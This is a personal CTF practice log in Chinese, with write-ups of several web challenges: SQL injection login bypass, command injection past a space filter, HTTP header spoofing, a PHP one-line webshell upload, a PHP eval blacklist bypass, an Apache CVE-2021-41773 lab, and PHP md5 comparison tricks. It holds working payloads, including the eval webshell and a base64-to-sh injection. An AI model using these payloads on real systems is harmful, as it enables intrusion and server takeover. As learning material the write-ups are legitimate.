0%

刷题记录-2

[极客大挑战 2019]LoveSQL

尝试用万能密码,万能密码原理点这

?username=1'%23 &password=1这里用的是%23而没有用--+--+不行的原因我也不太清楚,

得到一串很像md5加密的密文。但最终没有解出来。

然后进行常规的联合注入,得到

字段数:3

库名:geek

表名:geekuser,l0ve1ysq1

l0ve1ysq1表下的字段名:id,username,password

geekuser表下的字段名:id,username,password

然后依次查看username和password,发现geekuser里面的用户名和密码就是用万能密码登录得到的,然后再查看l0ve1ysq1里面的用户名和密码,得到flag

[GXYCTF2019]Ping Ping Ping

之前碰到一次Exec的题目,所以我们直接上Linux命令,但是发现cat flag.phpcd ../还有上传木马的echo '<?php @eval($_POST['cmd']); ?>' > hack.php 等指令都用不了,看来是被过滤掉了,后来才知道这是过滤了空格space。

过滤空格的解决办法

  1. $IFS
  2. ${IFS}
  3. $IFS$1 //$1改成$加其他数字貌似都行
  4. <
  5. <>
  6. {cat,flag.php} //用逗号实现了空格功能
  7. %20
  8. %09

一个一个试,发现只有$IFS$1管用,然后构造cat$IFS$1flag.php,结果提示过滤了flag字符串,所以试着cat一下index.php,结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>

这段代码我也看不太懂,WP说是过滤了很多符号。

1
2
3
方法一:我们构造/?ip=1;a=g;cat$IFS$1fla$a.php然后在注释里面得到flag
方法二:cat$IFS$9`ls`,这里的反引号是内联,所谓内联,就是将反引号内命令的输出作为输入执行。
方法三:echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh这句是先输出cat flag.php的base64编码,然后再解码,然后再执行。其中的|表示将前一个命令的输出作为后一个命令的输入。

[极客大挑战 2019]Http

进入题目后检查源码发现Secret.php文件,进入后查看源码未发现任何东西,而且给出的网址进不去。根据提示

It doesn’t come from ‘https://Sycsecret.buuoj.cn‘意思就是不是来源于https://Sycsecret.buuoj.cn的资源,也就是Referer不是https://Sycsecret.buuoj.cn。所以我们要修改header头,添加Referer,这里用Bp修改。

Referer:https://Sycsecret.buuoj.cn

Request为

1
2
3
4
5
6
7
8
9
10
11
12
GET /Secret.php HTTP/1.1
Host: node4.buuoj.cn:28174
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0
Referer:https://Sycsecret.buuoj.cn
Cookie: UM_distinctid=17d26e27951337-0f7088736cbf9a-b7a1438-144000-17d26e27952da6
Connection: close

注意Referer不能在Cookie下面,且不能乱空行。结果如图

image-20220211152257573

所以我们继续修改浏览器标识

User-Agent:Syclover

全部Request为

1
2
3
4
5
6
7
8
9
10
11
12
GET /Secret.php HTTP/1.1
Host: node4.buuoj.cn:28174
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0
Referer:https://Sycsecret.buuoj.cn
Cookie: UM_distinctid=17d26e27951337-0f7088736cbf9a-b7a1438-144000-17d26e27952da6
Connection: close

然后Response提示只能在本地浏览,则继续添加X-Forwarded-For(XFF)

X-Forwarded-For:127.0.0.1

全部Request为

1
2
3
4
5
6
7
8
9
10
11
12
GET /Secret.php HTTP/1.1
Host: node4.buuoj.cn:28174
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0
Referer:https://Sycsecret.buuoj.cn
X-Forwarded-For:127.0.0.1
Cookie: UM_distinctid=17d26e27951337-0f7088736cbf9a-b7a1438-144000-17d26e27952da6
Connection: close

最终得到flag

command_execution(攻防世界)

该题比较简单,但是注意cd ../然后再ls。这里也可以用find / -name "flag.txt"命令进行搜索,这里是猜测的文件名叫flag.txt如果不知道,那只能一个文件一个文件的找。

find / -name "flag.txt"得知flag.txt在/home/flag.txt,然后用指令cat /home/flag.txt得到flag

upload1(攻防世界)

题目要求上传图片,gif不行,则随便上传一个图片,然后抓包更改后缀为.php,然后将代码

1
GIF89a? <script language="php">eval($_REQUEST[1])</script>

复制进去,然后根据上传的位置,用蚁剑连接即可找到flag

[RoarCTF 2019]Easy Calc

首先要了解php中的chr()函数scandir()函数var_dump()函数file_get_contents()函数

在源码中发现了calc.php?num=则访问calc.php发现部分源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

别人的wp说这是禁用了许多字符,我现在还看不懂。呜呜呜

然后构造

? num=var_dump(scandir(chr(47)))

?和num之间有一个空格

原因是:假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

image-20220212185644770

我们利用chr这个函数来构造函数内的字符串参数,就不需要用单双引号,从而成功绕过正则表达式。

然后构造

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

这是/f1agg,然后即可得到flag

CVE-2021-41773(实验室)

说是一个apache2.4.49的漏洞,具体成因我也不太清楚,加cgi-bin的原因也不清楚,呜呜呜

image-20220212192414635

这里的%2e是.的url编码,这里不能换成.. 具体原因我也不太清楚,然后这里是在该位置下将内容输出到flag.txt文件中,结果为flag{This is CVE-2021-41773}

MD5 各种比较(实验室)

第一步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("./success.txt");
highlight_file(__FILE__);
error_reporting(0);

$name = "";

// step 1
$val1 = @$_GET['val1'];
$val2 = @$_GET['val2'];
if( $val1 == $val2 ){
die('val1 OR val2 no no no');
}
if( md5($val1) != md5($val2) ){
die('step 1 fail');
}
echo "step 1 ok !!!";

解释出来就是val1和val2的值不等但是md5解析相同,因为处理hash字符串时,PHP会将每一个以 0E开头的哈希值解释为0,那么只要传入的不同字符串经过哈希以后是以 0E开头的,那么PHP会认为它们相同这里参考

构造?val1=s878926199a&val2=s155964671a成功过第一步

第二步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// step 2
$thatfeelslike = "dcd385";
$val3 = @$_GET['val3'];
$val4 = @$_GET['val4'];
if( $val3 == $val4 || is_array($val3)){
die('val3 OR val4 no no no');
}

if( substr(md5($val3),0,6) !== substr(md5($val4),0,6) || $thatfeelslike !== substr(md5($val3),0,6) ){
// echo substr(md5($val3),0,5);
die('step 2 fail');
}
echo "step 2 ok !!!";

val3和val4不能相等,且val3不是数组,且val3和val4的md5加密前六位都是dcd385,我这里实在找不到。上网搜到了wp,这里面提供了

构造?val1=s878926199a&val2=s155964671a&val3=23902125&val4=23027101

第三步

1
2
3
4
5
6
// step 3
$a = @$_GET['a'];
$b = @$_GET['b'];

if($a !== $b && md5($a) === md5($b)){
echo "step 3 ok !!! wuhu~~";

这里是a和b的值不等,但是md5加密后却相等。因为这里是===不仅比较值相等还会比较值得类型是否相同0E在这里就不可用了。

php中md5和sha1函数都无法处理数组,会返回NULL
所以构造a[]=1&&b[]=2就可以绕过。参考

第四步

1
2
3
4
5
6
7
8
9
10
11
12
13
// step 4
$val5 = @$_GET['val5'];
$val6 = @$_GET['val6'];
$val7 = @$_GET['val7'];
if(md5($val5) === md5($val6) && md5($val6) === md5($val7)){
echo "tql!ddw! 记录你的名字吧!";
$name = @$_GET['name'];
if(strlen($name)>5){
die("what???");
}
file_put_contents("./success.txt",$name.PHP_EOL,FILE_APPEND);
}
}

这个不用搞了,没传值直接就ok